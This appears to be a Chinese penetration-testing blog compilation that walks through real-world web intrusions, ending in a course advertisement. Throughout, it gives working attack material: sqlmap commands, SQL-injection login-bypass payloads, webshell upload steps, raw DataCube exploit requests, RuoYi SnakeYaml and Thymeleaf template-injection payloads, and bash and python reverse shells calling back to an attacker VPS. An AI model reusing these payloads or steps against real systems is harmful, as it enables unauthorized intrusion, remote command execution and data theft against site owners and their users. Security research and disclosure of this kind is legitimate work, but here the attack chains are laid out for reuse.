SQL 注入漏洞的原理是应用程序没有对用户输入进行充分的验证和过滤,导致攻击者可以在输入框中插入恶意的 SQL 代码。当应用程序将用户输入的数据拼接到 SQL 查询语句中时,攻击者插入的恶意代码也会被执行,从而绕过身份验证和访问控制,直接访问或修改数据库中的数据。
1、查找注入点。
如果要对一个网站进行SQL注入攻击,首先就需要找到存在SQL注入漏洞的地方,也就是寻找所谓的注入点。可能的SQL注入点一般存在于登录页面、查找页面或添加页面等用户可以查找或修改数据的地方。
交互点一般是搜索栏、留言版、登入/注册页面、以及最利于观察的搜索栏的地址如果类似于http//xxxxxx/index.phpid=1这种很大程度存在注入当然有些注入点不会这么一眼看出会有些比较复杂例如http://xxxxxx/index.phpx=home&c=View&a=index&aid=9&&& 这样的地址其实也可能存在注入。
如果应用程序未对用户输入进行充分的验证和过滤,就容易受到 SQL [注入攻击]
根据如上所述先去查看和数据库有交互点的地方,一般先去找搜索框,特别是这种可以查询年份和编号的地方,和用户数据交互的可能性最大。
使用Wappalyzer简单看一下网站的框架和使用的语言
经过查看找到一处与数据库有数据交互的搜索编号的搜索框
可以直接输入一个单引号看看有没有报错,sql注入加单引号的原因是为了让sql语句发生错误,从而得知其有没有过滤措施
芜湖,直接爆SQL语句错误。。。
返回前面的搜索框输入' and sleep(10)#
还是直接报错,没什么waf防护拦截。
既然你这么脆弱,我就不客气了,直接丢sqlmap一把梭。。。。。
2、测试
在搜索框随便输入一个简单的数据,使用yakit工具拦截等一下点击搜索发送的数据包。
拦截的数据包:
注入点在mz17Condition.searchCaseId=这个参数,在这个参数后面加上*号,让等一下使用sqlmap工具测试的时候直接测试这个测试,要不然会从头开始每一个参数都会测试,浪费时间,把数据包复制到txt文件里面。
使用sqlmap工具测试txt文件里面的数据sqlmap命令:
--random-agent 随机使用HTTP用户代理头。
--level 分为1-5,默认为1,检查cookie至少为2,检查User-Agent等级至少为3,5级包含的payload最多,会自动破解出Cookie、XFF等头部注入,对应的速度也会比较慢。
--risk 等级为0-3,默认为1,会检测大部分的测试语句,等级为2时会增加基于事件的测试语句,等级为3会增加or语句的SQL注入测试
sqlmap.py -r .\9.txt --random-agent --level 5 --risk 3
果然直接跑出来了,注入类型有布尔和报错,后端还是IBM DB2数据库,第一次遇见。。。。
话不多说直接跑库,看看可以获取到后台的密码sqlmap.py -r .\9.txt --random-agent --level 5 --risk 3 --dbs
只跑出了一个库,看提示,感觉是当前注入的用户权限不够大sqlmap.py -r .\9.txt --random-agent --level 5 --risk 3 --is-dba
后面跑了一下爆出来的数据库,里面没啥有用的信息。。。。拿不了shell继续测试别的地方
0x02 万能密码后台登录
前面的前台SQL注入没什么大用拿不了shell以后,继续测试别的漏洞,前台基本没什么东西,看向后台。
1、测试
使用dirsearch工具扫描网站目录,扫描出网站后台。
访问后台url
按照惯例后台登录必试弱口令admin/123456、admin/12345、admin/admin、admin/admin888、system/123456。。。。都试了一遍没成功,看见没验证码又不限制登录错误次数,直接去跑字典,结果。。。。没爆出来。。。。
看向用户注册,鼓捣了一阵子发现根本就是摆设,填写信息点击注册没反应,抓包查看发现根本没有数据包发送出去,鸡肋。。。。
在一筹莫展的时候,突然想到前台有SQL注入漏洞,后台会不会也有呢。。。。
原理
万能密码利用的原理就是在后台登陆页面没有对用户输入的内容进行验证,此时程序所用用户输入的数据都合法的,所以这个时候无论是合法的管理员还是非法的入侵者所输入的数据都是被信任的,非法入侵者正是利用这一特点来进行非法登录的。
当我们在这些语句中添加一些参数时,就可以去数据库中查询账号和密码。
添加参数后,语句差不多是这样:
select * from user where username='a' or true #' and password='pass'
其中,#在SQL中是注释符,注释符后面的内容不起作用。
所以,实际上后台得到的有效代码是这样的:
select * from user where username='a' or true
其中or true 会使SQL语句恒成立,从而查询出数据库中的所有账号和密码,从而使我们成功登录。
除了 # 以外, -- 也是SQL中的注释符,但SQL的语法格式规定--和后面的注释内容必须间隔一个空格。
所以拼接到语句中大概是这样的:
select * from user where username='a' or true -- a' and password='pass'
也就是说:a' or true -- a经过SQL的转化后,结果等价于 a’ or true #。
SQL中规定,非布尔类型的数据参与比较运算时,会转化为布尔类型再参与运算。比如 or 1 或者 or 1=1 ,会转化为布尔类型的 true 再参与 or 的比较运算,也就是变成 or true ,同样能使条件恒成立,从而登录成功
简单来讲就是:a' or 1 # 或者 a' or 1=1 # 等价于 a' or true #。
当我们在登录界面输入 【万能密码】 比如 admin’ # 以后,后端会将我们输入的参数拼接到SQL中,大概是下面这样
select * from user where username='admin' #' and password='pass'
由于 # 在SQL中是注释符,注释符后面的内容不起作用,所以真正执行的SQL大概是下面这样
select * from user where username='admin'
SQL只会在数据库中查询用户名,而不是同时查询用户名和密码,这就意味着,只要用户名正确,就可以登录成功。
继续测试
使用万能密码继续测试admin' or 1=1--+
点击登录以后会跳转到这错误页面,好像有戏!
更换一个万能密码payload:admin' or 1=1#
芜湖报错!!!根据报错提示尝试闭合
尝试万能密码闭合能不能直接进入后台,使用自己收藏的万能密码txt去Fuzz用户名
抓取输入登录框用户名的数据包
这里使用burp suite工具继续爆破
加入自己收集的万能密码payload,进行测试
芜湖302跳转了应该是成功了使用payload测试看看
最终构造万能密码payload:admin' or '2'='2#
进入后台!!!,登录的用户为管理员用户!!!
0x03 后台getshell
1、测试
进了后台而且还是管理员的账号,就好办了,查找上传点,结果一番点点点、看看看,在网站信息维护找到上传点。
点击添加
填写好状态编号和数量
设置主页新闻图片的位置选择文件
设置一张图片码
使用Webshell_Generate生成哥斯拉jsp的webshell
生成名为ceshijsp.jpg的哥斯拉码
选择这个cheshijsp.jpg的图片
使用burp suite工具拦截点击确定时候发送的数据包,把后缀为jpg改为jsp
修改后缀为jpg以后,发送修改好的数据包,取消拦截。
因为发送出去的数据包试没有回显回来上传webshell jsp码的地址,访问首页,新闻动态的第一张图片就是刚刚上传的jsp码,右键打开新的标签可以看到完整的图片地址。
得到webshell地址
使用哥斯连接
root最高权限!!!
0x04 总结
要多做尝试不要气馁。。。。
DataCube 漏洞小结
在这里分享一下通过拖取 DataCube 代码审计后发现的一些漏洞,包括前台的文件上传,信息泄露出账号密码,后台的文件上传。当然还有部分 SQL 注入漏洞,因为 DataCube 采用的是 SQLite 的数据库,所以SQL 注入相对来说显得就很鸡肋。当然可能还有没有发现的漏洞,可以互相讨论。
phpinfo 泄露
SQL注入
无回显的SQL注入
/DataCube/www/admin/setting_schedule.php
SQLite 没有sleep()函数,但是可以用 randomblob(N) 来制造延时。randomblob(N)函数是SQLite数据库中的一个常用函数,它的作用是生成一个指定长度的随机二进制字符串。
正常请求时间
POST /admin/setting_schedule.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Connection: close
datetime=2024-04-24+02%3A00'+or+randomblob(9000000000000000000000000)+and+'1&tbl_type=fs&delete=1
延时响应
判断对应的 SQLite 的版本号
POST /admin/setting_schedule.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
datetime=-1'or+(case+when(substr(sqlite_version(),1,1)<'4')+then+randomblob(900000000000000000000000000)+else+0+end)+and+'1&tbl_type=fs&delete=1
可以判断出SQLite的版本是3
有回显的SQL注入
POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
req_id=1) UNION ALL SELECT sqlite_version(),NULL,NULL--
查询出 sqlite 的版本号
www\admin\pr_monitor\getting_index_data.php
www\admin\pr_monitor\getting_screen_data.php#getData
www\admin\pr_monitor\getting_screen_data.php#getMonitorItemList
信息泄露
www\admin\config_all.php
将从 SQLite3 数据库中获取的数据转换为一个 JSON 字符串,并输出在页面上
任意文件上传
www\admin\transceiver_schedule.php
POST /admin/transceiver_schedule.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryb8tU2iptV70lGozq
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryb8tU2iptV70lGozq
Content-Disposition: form-data; name="upload_file"; filename="test1.php"
Content-Type: application/octet-stream
<?php phpinfo(); ?>
------WebKitFormBoundaryb8tU2iptV70lGozq
Content-Disposition: form-data; name="usb_schedule"
1
------WebKitFormBoundaryb8tU2iptV70lGozq--
后台任意文件上传
www\admin\setting_photo.php
www\admin\setting_photo.php#insertPhoto
www\admin\images.php
登录后获取参数 accesstime 的值
将值替换到数据包中
POST /admin/setting_photo.php HTTP/1.1
Content-Length: 414
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydzDlRcTHEmG3mohY
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundarydzDlRcTHEmG3mohY
Content-Disposition: form-data; name="add"
1
------WebKitFormBoundarydzDlRcTHEmG3mohY
Content-Disposition: form-data; name="addPhoto"; filename="test.php"
Content-Type: image/jpeg
<?php phpinfo(); ?>
------WebKitFormBoundarydzDlRcTHEmG3mohY
Content-Disposition: form-data; name="accesstime"
0.05027100 1713945976
------WebKitFormBoundarydzDlRcTHEmG3mohY--
成功将文件上传到 /images/slideshow/ 目录下
尚未解决的后台SQL注入
类似的注入有很多,但是每一次都进行了 accesstime 的校验,所以需要不停的从页面上获取,这里仅从一处来进行探讨
www\admin\config_time_sync.php
www\admin\Util.class.php#TblConfUpdate
我们很明显的可以看到这里的SQL 语句是我们可控的
首先请求页面 /admin/config_time_sync.php 来获取一个 accesstime 值
再构造请求进行发包
我们将执行的 SQL 语句打印出来
BEGIN EXCLUSIVE;delete from tbl_conf where key = 'ntp.enable';insert into tbl_conf values('ntp.enable', 'true');select randomblob(999900000000000000000000000);select ('1');COMMIT;BEGIN EXCLUSIVE;delete from tbl_conf where key = 'ntp.server';insert into tbl_conf values('ntp.server', 're-ene.energia.c
这里很奇怪,已经完美的闭合并提示执行成功,却没有执行这条语句,有明白的大佬可以一起讨论一下。
记录一次cnvd事件型证书漏洞挖掘
事件起因是因为要搞毕设了,在为这个苦恼,突然负责毕设的老师说得到cnvd下发的证书结合你的漏洞挖掘的过程是可以当成毕设的,当时又学习了一段时间的web渗透方面的知识,于是踏上了废寝忘食的cnvd证书漏洞挖掘的日子。
前言:听群友们说,一般可以获得cnvd事件型的证书要三大运营商、铁塔的漏洞,而且必须要高危的漏洞才可以获得证书,低危和中危都没有证书,交上去只能得到cnvd的漏洞编号,于是就朝着三大运营商、铁塔的高危漏洞去挖掘。
一、信息收集
信息收集的目的是了解目标的基本情况,包括网络拓扑结构、系统架构、运行的服务和应用程序、已知漏洞、潜在安全风险等。通过信息收集,渗透测试人员可以获得对目标的深入了解,从而确定可能的攻击矢量和漏洞利用路径,为后续的渗透测试工作做准备。
1、我一般先用奇安信的鹰图平台,使用里面搜索引擎的特定的语法搜索我要找的单位名或者关键字,精准定位。
鹰图平台:https://hunter.qianxin.com/
经过一段时间的换各种关键字的搜索,终于发现了一个看着系统界面比较眼熟的界面,原谅我的厚码。。。
看着大概率是若依框架。
确定为vue前后端分离的若依管理系统。
二、历史漏洞分析
确定了这个系统是基于SpringBoot,Spring Security,JWT,Vue & Element 的前后端分离权限管理系统。
这是我第一次挖掘关于若依vue框架的系统,以前遇到的都是基于SpringBoot的权限管理系统,核心技术采用Spring、MyBatis、Shiro。
让我们先来看看若依的历史漏洞和解析:若依框架是一个 Java EE 企业级快速开发平台,基于经典技术组合(Spring Boot、Apache Shiro、MyBatis、Thymeleaf、Bootstrap),内置模块如:部门管理、角色用户、菜单及按钮授权、数据权限、系统参数、日志管理、通知公告等。在线定时任务配置;支持集群,支持多数据源,支持分布式事务。若依框架漏洞默认口令漏洞早期若依框架漏洞版本有反序列化漏洞 ,执行任意命令。
若依后台管理系统是基于SpringBoot、Spring Security、JWT、Vue & Element 的前后端分离权限管理系统,可用于包含网站管理后台、网站会员中心、CMS、CRM、OA等、的Web应用程序。若依后台管理系统存在未授权访问和文件上传高危漏洞,攻击者可利用该漏洞获取服务器控制权。
比较常见的历史漏洞:
1、前端存储账号密码或默认弱口令admin/admin123
2、Druid页面未授权访问
http://xxx//prod-api/druid/index.htmlhttp://xxx//dev-api/druid/index.htmlhttp://xxx//api/druid/index.htmlhttp://xxx//admin/druid/index.htmlhttp://xxx//admin-api/druid/index.html3、后台任意文件读取http://xxx/common/download/resource?resource/profile/…/…/…/…/etc/passwd
4、后台SQL注入漏洞位置在"系统管理"里中的"角色管理中"http://xxxxxxx/system/role/listhttp://xxxxxxx/system/dept/edithttp://xxxxxxx/system/role/exporthttp://xxxxxxx/tool/gen/createTable
5、shiro反序列化
若依管理系统使用了Apache Shiro,Shiro 提供了记住我(RememberMe)的功能,下次访问时无需再登录即可访问。系统将密钥硬编码在代码里,且在官方文档中并没有强调修改该密钥,导致框架使用者大多数都使用了默认密钥。
攻击者可以构造一个恶意的对象,并且对其序列化、AES加密、base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞,进而在目标机器上执行任意命令。
众所周知的,网上大把工具撸就完事了https://github.com/SummerSec/ShiroAttack2
6、SnakeYaml组件漏洞-定时任务-RCE
定时任务对于传入的"调用目标字符串"没有任何校验,导致攻击者可以调用任意类、方法及参数触发反射执行命令。
RuoYi 触发 SnakeYaml 反序列化漏洞的漏洞点。漏洞点在后台 系统监控 > 定时任务 处,可以调用类的方法
系统会调用 com.ruoyi.quartz.util.JobInvokeUtil#invokeMethod 方法来处理系统任务
首先会获取需要执行的目标,即我们的 payload,再获取实例名和方法名以及方法参数
然后判断实例名是否是 带完全包名称的类名,如果不是的话,则调用 SpringUtils.getBean(beanName) 获得实例;如果是的话,则使用 Class.forName(beanName).newInstance() 获得实例
最后调用 invokeMethod(SysJob sysJob) 方法实现方法的调用
public static void invokeMethod(SysJob sysJob) throws Exception
{
String invokeTarget \= sysJob.getInvokeTarget();
String beanName \= getBeanName(invokeTarget);
String methodName \= getMethodName(invokeTarget);
List<Object\[\]> methodParams \= getMethodParams(invokeTarget);
if (!isValidClassName(beanName))
{
Object bean \= SpringUtils.getBean(beanName);
invokeMethod(bean, methodName, methodParams);
}
else
{
Object bean \= Class.forName(beanName).newInstance();
invokeMethod(bean, methodName, methodParams);
}
}
跟进 com.ruoyi.quartz.util.JobInvokeUtil#invokeMethod 可以看到这里通过 getDeclaredMethod 获得了类的方法,然后通过反射执行方法。
当我们传入的类名为完全包名称,需要满足三个条件才能正常使用
具有无参构造方法
调用的方法需要是类自身声明的方法,不能是他的父类方法
构造方法和调用的方法均为 public
而 org.yaml.snakeyaml.Yaml 是符合这些条件的,我们可以利用这个点去触发 SnakeYaml 反序列化漏洞。
三、正戏开始
要获得证书就得要挖掘到高危的漏洞,若依vue框架是没有shiro反序列化的,所以得进入后台去挖掘定时任务的RCE。
1、回到之前的找到若依的登录框,上来肯定是试一试默认的弱口令admin123。不出意外密码错误了
2、测试了一下,没有密码输入错误次数上限,就是输入错多少次都可以,也没有验证码验证登录,不用多说了,爆破启动!!!
抱着试一试的态度,没想到真滴爆出来了
毕竟是第一次打若依vue框架的,我就把上面提到的漏洞都测试了一遍,没一个成功的(除了定时任务-RCE的漏洞没测试)。。。。。
3、我先去网上浏览一阵子的若依后台定时任务调用类的方法RCE的文章,开搞!!!
首先先去Github上面找到大佬写好的项目生成恶意jar包:https://github.com/artsploit/yaml-payload先修改项目源码文件 src/artsploit/AwesomeScriptEngineFactory.java 执行Linux反弹shell命令
修改AwesomeScriptEngineFactory.java格式:
Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/vpsIP/vps监听端口 0>&1"});
在yaml-payload-master文件夹目录下编译AwesomeScriptEngineFactory.java文件
javac .\src\artsploit\AwesomeScriptEngineFactory.java
得到编译好的AwesomeScriptEngineFactory.class文件
把src目录打包成yaml-payload.jar文件
jar -cvf yaml-payload.jar -C .\src\ .
把打包好的yaml-payload.jar上传到vps上面,使用python命令开启临时的http网站:`python -m SimpleHTTPServer 8880
测试访问vps开启的网站
在vps上面使用nc监听设定的端口,反弹shell
回到若依系统后台,使用爆破出来的账号密码登录,进入系统监控-->定时任务-->新增,添加计划任务。
调用方法也没有什么限制,可以直接使用http。任务名随便写,调用方法:org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager \[ !!java.net.URLClassLoader \[\[ !!java.net.URL \["http://httpIP/yaml-payload.jar"\] \]\] \]')
cron表达式:0/10 \* \* \* \* ?
点击确定
在多执行几次刚刚设置好的定时任务
在我满心欢喜的以为成功的时候,现实却给我当头一棒,nc监听一直没有动静,啊啊啊啊啊啊啊啊啊。。。。。又去多执行了几次也没有反弹到shell
去看刚刚vps使用python开启的http,没有访问响应gg。
想了想会不会是命令被系统拦截了或者是AwesomeScriptEngineFactory.java文件里面的命令错误执行不了。于是又去换了一种方式的反弹shell命令
重新修改AwesomeScriptEngineFactory.java格式:使用base64编码这个命令:bash -i >& /dev/tcp/vpsIP/vps监听端口 0>&1base64编码后的命令:YmFzaCAtaSA+JiAvZGV2L3RjcC92cHNJUC92cHPnm5HlkKznq6/lj6MgMD4mMQ==AwesomeScriptEngineFactory.java格式:Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC92cHNJUC92cHPnm5HlkKznq6/lj6MgM
再按照上面的方法编译一遍,然后再打包成jar文件,再次上传到vps里面,把之前的删掉。
返回到若依管理系统,再次执行几次定时任务,不用更改。。。让命令飘一会。
pleasantly surprised。。。。gg了。
四、柳暗花明
我以为要下播的时候,去上了个厕所。。。。回来突然有灵感想到可不可以使用python命令来执行反弹shell命令呢,现在的服务器linux服务器基本都是自带python的,说干就干。
继续修改AwesomeScriptEngineFactory.java文件使用python的特性构造payload,修改的格式:Runtime.getRuntime().exec(new String\[\]{"python","-c","import os,socket,subprocess;s=socket.socket(socket.AF\_INET,socket.SOCK\_STREAM);s.connect(('vpsIP',vps监听端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=su
如下图:
继续执行之前的步骤,按照上面的方法编译一遍,然后再打包成jar文件,再次上传到vps里面,把之前的删掉。
回到若依管理系统继续执行我们写入的定时任务。
结果芜湖!!!成功成功。
咱也不知道为什么。没拦截python?
最后也是通过了cnvd的事件型高危
漏洞已上报厂家,厂家已修复。
修复建议:升级Ruoyi至最新版本。
记一次攻防演练中的若依(thymeleaf 模板注入)getshell
记一次攻防演练中幸运的从若依弱口令到后台getshell的过程和分析。
0x01 漏洞发现
首先,我会先把目标的二级域名拿去使用搜索引擎来搜索收集到包含这个目标二级域名的三级域名或者四级域名的网站。
这样子可以快速的定位到你所要测试的漏洞资产。
1、推荐三个比较实用的搜索引擎:
奇安信-鹰图平台:https://hunter.qianxin.com/
360-quake: https://quake.360.net/
fofa: https://fofa.info/
搜索语法:domain="二级域名"
2、通过一番搜索查找翻阅,幸运女神光顾~~~。
通过搜索引擎搜索到包含目标的二级域名找到关于目标的的一个三级域名,而且还是漏洞百出的若依系统。
经典:你若不离不弃,我必生死相依
基于SpringBoot的权限管理系统,核心技术采用Spring、MyBatis、Shiro没有任何其它重度依赖
0x02 漏洞分析
Thymeleaf模板注入漏洞简介
Thymeleaf模板注入形成原因,简单来说,在Thymeleaf模板文件中使用th:fragment、 , th:text 这类标签属性包含的内容会被渲染处理。并且在Thymeleaf渲染过程中使用 ${...} 或其他表达式中时内容会被Thymeleaf EL引擎执行。因此我们将攻击语句插入到 ${...} 表达式中,会触发Thymeleaf模板注入漏洞。如果带有 @ResponseBody 注解和 @RestController 注解则不能触发模板注入漏洞。因为@ResponseBody 和 @RestController 不会进行View解析而是直接返回。所以这同样是修复方式。
漏洞点
Server-Side Template Injection简称SSTI,也就是服务器端模板注入。
我们在审计模板注入(SSTI)漏洞时,主要查看所使用的模板引擎是否有接受用户输入的地方。主要关注xxxController层代码。在Controller层,我们关注两点:1、URL路径可控。2、return内容可控。所谓可控,也就是接受输入。
1、URL路径可控
@RequestMapping("/hello")
public class HelloController {
@RequestMapping("/whoami/{name}/{sex}")
public String hello(@PathVariable("name") String name,
@PathVariable("sex") String sex){
return "Hello" + name + sex;
}
}
return内容可控
@PostMapping("/getNames")
public String getCacheNames(String fragment, ModelMap mmap)
{
mmap.put("cacheNames", cacheService.getCacheNames());
return prefix + "/cache::" + fragment;
}
return内容可控:
\_\_${new
java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getI
nputStream()).next()}\_\_::.x
URL路径可控:
\_\_${T(java.lang.Runtime).getRuntime().exec("touch test")}\_\_::.x
2、Ruoyi使用了thymeleaf-spring5,其中四个接口方法中设置了片段选择器:
http://xxxxxx/monitor/cache/getNameshttp://xxxxxx/monitor/cache/getKeyshttp://xxxxxx/monitor/cache/getValuehttp://xxxxxx/demo/form/localrefresh/task通过这四段接口,可以指定任意fragment,以/monitor/cache/getNames接口为例,controller代码如下:
@PostMapping("/getNames")
public String getCacheNames(String fragment, ModelMap mmap)
{
mmap.put("cacheNames", cacheService.getCacheNames());
return prefix + "/cache::" + fragment;
}
简单理解:接收到 fragment 后,在return处进行了模板路径拼接。根据代码我们知道根路径为 /monitor/cache ,各个接口路径分别为 /getNames , /getKeys , /getValue ,请求参数均为fragment 。
这四段接口方法中,都使用了thymeleaf的语法:
"/xxx::" + fragment;
我们构造fragment的值为:
url编码:
%24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%75%72%6c%20%64%6e%73%6c%6f%67%30%40%22%29%7d
↓
${T (java.lang.Runtime).getRuntime().exec("curl dnslog地址")}
当我们构造的模板片段被thymeleaf解析时,thymeleaf会将识别出fragment为SpringEL表达式。不管是?fragment=header(payload)还是?fragment=payload
但是,在执行SpringEL表达式之前,thymeleaf会去检查参数值中是否使用了"T(SomeClass)"或者"new SomeClass"
这个检查方法其实可以绕过,SpringEL表达式支持"T (SomeClass)"这样的语法,因此我们只要在T与恶意Class之间加个空格,就既可以绕过thymeleaf的检测规则,又可以执行SpringEL表达式。
因此payload中T与恶意Class之间含有空格,不论是空格或者制表符都可以绕过检测。
漏洞影响:RuoYi <= v4.7.1
0x03 开始战斗
1、回到之前的若依登录框,若依的管理系统肯定要试试看弱口令啦,用户admin,密码admin123。
非常nice,弱口令yyds,登录进入若依系统后台。
经过一番测试,后台定时任务执行不了命令,反弹shell不成功,更换了几个不同的payload都没效果,太菜了,咱也不知道为什么,其他的常见的漏洞任意文件读取、SQL注入、未授权访问啥的都没有,所以才会来测试一番Thymeleaf模板注入远程命令执行。
这四个接口路径都可以访问,我们使用第一个接口路径进行测试。
/monitor/cache/getNames
/monitor/cache/getKeys
/monitor/cache/getValue
/demo/form/localrefresh/task
2、在若依管理系统后台直接访问/monitor/cache/getNames接口路径,使用burp suite拦截访问/monitor/cache/getNames路径的数据包。
访问/monitor/cache/getNames
使用burp suite拦截数据包
使用burp suite上自带的编码工具,使用base64编码反弹shell命令
/bin/bash -i >& /dev/tcp/vps IP/5566 0>&1
构造fragment的值,把上面使用base64的编码放入下面的payload编码成url编码
${T (java.lang.Runtime).getRuntime().exec("bash \-c {echo,L2Jpbi9iYXNooC1poD4moC9kZXYvdGNwL3ZwcyBJUC81NTY2oDA+JjE=}|{base64,-d}|{bash,-i}")}
把前面拦截到的访问/monitor/cache/getNames路径的数据包更改请求方式为POST,更改完请求方式后在访问路径后面拼接上我们刚刚经过url编码构造fragment的值。
/monitor/cache/getNames?fragment=%24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%62%61%73%68%a0%5c%2d%63%20%7b%65%63%68%6f%2c%4c%32%4a%70%62%69%39%69%59%58%4e%6f%6f%43%31%70%6f%44%34%6d%6f%43%39%6b%5a%58%59%76%64%47%4
3、在vps上面使用nc监听5566端口,接收反弹shell。
把刚刚更改了请求方式为POST,拼接上url编码构造fragment的值的数据包发送出去,可以发到重发器多发几遍。
返回包返回状态200,应该是执行成功了。
回到vps查看监听状态,nice!!!成功,拿下拿下。
漏洞挖掘的过程中要有耐心、细心,把能试的漏洞都试一试,反正试一试又不要钱,说不定就getshell了呢。。。。。。
0x04 修复建议
把若依系统更新到最新版本。
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

